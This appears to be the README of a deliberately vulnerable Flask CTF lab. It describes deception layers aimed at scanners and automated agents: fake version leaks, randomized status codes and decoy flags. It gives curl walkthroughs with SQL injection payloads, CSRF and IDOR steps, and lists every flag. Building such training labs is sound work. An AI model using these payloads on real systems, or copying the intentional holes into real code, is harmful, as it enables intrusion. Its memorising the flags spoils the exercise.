This is an intentionally vulnerable Flask website designed for security education and red team training. The focus is on psychological misdirection - creating bugs where the deception layer is more sophisticated than traditional honeypots.
Key Philosophy: Attackers who bypass the deception layer and understand the actual vulnerabilities are rewarded with flags. Those who get confused by fake indicators, randomized responses, or misleading debug info waste time exploring dead ends.
Use only in local lab environments.
- Register flow with
name,email,password. - Login with exactly 4-character passwords.
- No login rate limit (brute-force friendly by design).
- Change email endpoint without CSRF protection.
- Intentional IDOR at
/user/<id>. - Hidden endpoints:
/hidden/health/hidden/internal/users
How the Trap Works:
- Homepage displays fake vulnerable server version:
Apache/2.4.49(CVE-2021-41773) - Attackers research this CVE and find public exploits
- They test the known exploit on your site... but it doesn't work
- They discover hidden endpoint
/api/debug/versionsleaking 'real' version:Apache/2.4.51 - They research CVE-2021-41773 for 2.4.51... and find nothing
- Meanwhile there IS a vulnerability (SQLi), but they're focused on the wrong CVE path
Psychology: Attackers waste time:
- Researching CVE-2021-41773 (path traversal in Apache)
- Testing path traversal payloads that don't apply
- Thinking they've found the real version when they see it in debug endpoints
- Not realizing they should focus on application-level bugs instead
Endpoints Involved:
/- displaysApache/2.4.49(fake)/api/debug/versions- displaysApache/2.4.51(also fake, but different)/api/debug/system-info- fake system configuration/api/debug/security-config- fake security controls (suggesting WAF, rate limiting, CSRF tokens exist)/api/debug/protected-resources- lists fake admin endpoints to explore
Lesson: Attackers must recognize that version information is misdirection and focus on real bugs at the application level.
How the Trap Works:
/searchendpoint has a real SQL injection vulnerability (unsanitized LIKE clause)- Normal queries work fine:
curl "http://127.0.0.1:5000/search?q=test"→ returns results - Attacker tries SQLi payload:
curl "http://127.0.0.1:5000/search?q=admin' OR 1=1--" - They get a random HTTP status code:
500(Server Error) - suggests something went wrong - Next attempt returns
403(Forbidden) - suggests it's blocked - Next attempt returns
200(OK) - but with error message - Next attempt returns
502(Bad Gateway) - suggests backend issue
Psychology: Automated agents and scanners get confused:
- Standard SQLi detection tools expect consistent responses (200 = vulnerable, 403 = blocked)
- Random responses make the vulnerability appear "unreliable" or "intermittent"
- Agents waste time with retry logic, thinking there's flakiness
- Many scanners skip endpoints with inconsistent behavior as "not vulnerable"
Real Exploitation Path:
- Understand the randomization is deception
- Use UNION-based SQLi:
curl "http://127.0.0.1:5000/search?q=test' UNION SELECT 1,2--" - Despite random status codes, the query executes and flag is returned
- Flag:
petAgent{sql_injection_bypass_random_response}
Deception Layers:
- Random HTTP status codes -
/searchqueries with SQLi markers get randomized responses inbefore_requesthook - Fake protection headers - Response includes headers suggesting WAF is active (could add fake validation endpoint)
Lesson: Attackers must understand that inconsistent responses don't mean the vulnerability doesn't exist—they indicate intentional misdirection.
- Fake version leak on homepage (decoy vulnerable stack versions)
- Hidden debug endpoints leaking fake system info and security configs
- Random HTTP status codes for SQLi attempts (misdirects automated scanners)
- Incomplete flags on honeypot endpoints (wastes tool/agent time on garbage flags)
/robots.txtlure pointing toward fake admin endpoints
Bug 1 (Version Misdirection):
- Homepage and debug endpoints show different versions:
app.pylines 15-20 - Fake versions trigger research into wrong CVEs
- Real bug: application-level SQL injection (ignored by attacker)
Bug 2 (SQLi Randomized Responses):
/searchendpoint with SQL injection:app.pyline 359-385before_requesthook randomizes status codes for SQLi attempts:app.pyline 129-140- Normal queries work fine, SQLi attempts get confused by random responses
- Actual exploitation with UNION SELECT still works despite randomization
Other Vulnerabilities (Classic):
- Weak auth policy and no throttling:
login()inapp.py - Weak password policy (exactly 4 chars):
register()inapp.py - CSRF missing on state change:
change_email()inapp.py - IDOR:
user_profile()inapp.py
These flags only appear when you actually exploit the real vulnerabilities:
Endpoint: /dashboard (after login)
How to Get: Register with any 4-character password and login
Flag: petAgent{weak_4char_password_accepted}
Endpoint: /change-email (POST after login)
How to Get: Change email successfully; flag in success message
Flag: petAgent{csrf_no_token_email_change}
Endpoint: /user/<id> (after login)
How to Get: Access /user/1, /user/2, etc. while logged in
Flag: petAgent{idor_access_user_id_<id>_email_<email_at_>} (dynamic per user)
Endpoint: /search (GET with SQLi payload)
How to Get: Use UNION-based SQLi: ?q=test' UNION SELECT 1,2--
Flag: petAgent{sql_injection_bypass_random_response}
Flag 5: Hidden Health Endpoint
Endpoint: /hidden/health
How to Get: Direct access; no auth required
Flag: petAgent{hidden_health_endpoint_found}
Flag 6: Hidden User Enumeration
Endpoint: /hidden/internal/users
How to Get: Direct access; no auth required
Flag: petAgent{hidden_user_enumeration_endpoint}
Flag 7: Hidden Telemetry Endpoint
Endpoint: /hidden/telemetry
How to Get: Direct access; view all logged attacks
Flag: petAgent{telemetry_endpoint_discovered}
These endpoints return incomplete or broken flags to waste attacker time:
/vendor-status→"flag": "petAgent{vendor_status_incomplete"(no closing})/.env→# flag=petAgent{env_leakage_incomplete_(no closing brace)/api/v1/admin/export→"flag_hint": "petAgent{admin_export_trap_found"(no closing brace)
All suspicious activity is logged to SQLite attack_logs table:
- SQLi attempts (detected via markers like UNION, SELECT, OR 1=1, etc.)
- Honeypot endpoint access
- Debug endpoint discovery
- Suspicious user-agents and payloads
View all logged events:
curl -s http://127.0.0.1:5000/hidden/telemetry | python3 -m json.toolcd /mnt/share/ctftime/myweb
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python app.pyOpen:
If app is running in the current terminal:
- Press
Ctrl+C
If virtual environment is active and you want to leave it:
- Run
deactivate
# See the fake version on homepage
curl -s http://127.0.0.1:5000/ | grep "Apache"
# Find the 'real' version in debug endpoint (but it's also fake!)
curl -s http://127.0.0.1:5000/api/debug/versions | python3 -m json.tool
# Find fake security config endpoint
curl -s http://127.0.0.1:5000/api/debug/security-config | python3 -m json.tool
# Find fake protected resources
curl -s http://127.0.0.1:5000/api/debug/protected-resources | python3 -m json.tool# Normal search - works fine
curl -s "http://127.0.0.1:5000/search?q=test" | head -20
# SQLi attempt 1 - get random status (maybe 500)
curl -i "http://127.0.0.1:5000/search?q=admin' OR 1=1--"
# SQLi attempt 2 - get different random status (maybe 403)
curl -i "http://127.0.0.1:5000/search?q=admin' OR 1=1--"
# Actual exploitation - UNION-based SQLi (gets flag despite randomization)
curl -s "http://127.0.0.1:5000/search?q=test' UNION SELECT 1,2--" | python3 -m json.tool# Weak auth - register and login
curl -X POST -d "name=testuser&email=test@example.com&password=1234" http://127.0.0.1:5000/register
curl -X POST -d "email=test@example.com&password=1234" http://127.0.0.1:5000/login --cookie-jar /tmp/c.txt
curl -b /tmp/c.txt http://127.0.0.1:5000/dashboard | grep "flag"
# CSRF on email change (no token required!)
curl -b /tmp/c.txt -X POST -d "new_email=newemail@example.com" http://127.0.0.1:5000/change-email
# IDOR - access other users
curl -b /tmp/c.txt http://127.0.0.1:5000/user/1 | grep "flag"
curl -b /tmp/c.txt http://127.0.0.1:5000/user/2 | grep "flag"# See all logged attacks
curl -s http://127.0.0.1:5000/hidden/telemetry | python3 -m json.tool | head -50
# Count SQLi attempts
curl -s http://127.0.0.1:5000/hidden/telemetry | grep "sqli-attempt" | wc -lAgainst Automated Scanners:
- Randomized responses for SQLi make the vulnerability "invisible" to tools that expect consistency
- Version misdirection sends security researchers down incorrect CVE paths
- Fake debug endpoints create the appearance of transparency while actually providing misinformation
Against Intelligent Attackers:
- Attackers who recognize the version misdirection as intentional gain respect for the deception
- Attackers who understand the randomization is a red herring demonstrate deeper analytical skills
- Real flags are only awarded to those who bypass the psychological tricks and find actual vulnerabilities
- Question Assumptions: Don't trust version numbers or debug endpoints at face value
- Consistency Matters: If a vulnerability behaves inconsistently, it might be intentional misdirection
- Focus on Behavior: Look at actual application logic, not infrastructure claims
- Verify Everything: Cross-reference multiple data sources (homepage vs. debug endpoint)
- This code intentionally contains vulnerabilities
- Do not deploy on public infrastructure
- Use only for local training and CTF-style practice
- The deception layer is designed to frustrate automation, not as production security